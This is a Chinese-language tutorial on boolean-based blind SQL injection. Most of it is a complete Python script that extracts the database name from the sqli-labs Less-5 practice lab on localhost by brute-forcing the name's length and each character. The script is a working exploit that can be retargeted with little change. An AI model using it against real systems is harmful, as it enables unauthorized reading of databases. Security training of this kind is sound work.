布尔型SQL盲注是在应用程序仅返回True或False页面的情况下，通过构造逻辑判断来获取数据库信息的一种方法。以下是一个基于布尔型SQL盲注数据包编写的Python脚本，用于获取`database()`函数的返回值： ```python import requests # 定义目标URL url = "http://127.0.0.1/sqli-labs-master/Less-5/" # 定义请求头 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"} # 定义函数来判断条件是否为真 def check_condition(condition): payload = f"?id=1' AND {condition} -- " full_url = url + payload response = requests.get(full_url, headers=headers) # 这里假设页面包含特定字符串表示条件为真 if "You are in" in response.text: return True return False # 定义函数来获取数据库名的长度 def get_database_length(): length = 1 while True: condition = f"LENGTH(database())={length}" if check_condition(condition): return length length += 1 # 定义函数来获取数据库名 def get_database_name(): length = get_database_length() database_name = "" for i in range(1, length + 1): for char in range(32, 127): condition = f"ASCII(SUBSTRING(database(), {i}, 1))={char}" if check_condition(condition): database_name += chr(char) break return database_name # 调用函数获取数据库名 database = get_database_name() print(f"当前数据库名是: {database}") ``` 在上述代码中，首先定义了目标URL和请求头。`check_condition`函数用于判断构造的条件是否为真，通过发送带有条件的请求并检查响应页面是否包含特定字符串来判断。`get_database_length`函数用于获取数据库名的长度，通过不断增加长度并检查条件是否为真来确定。`get_database_name`函数用于获取数据库名，通过遍历每个字符的可能取值并检查条件是否为真来确定每个字符。最后调用`get_database_name`函数并打印出当前数据库名。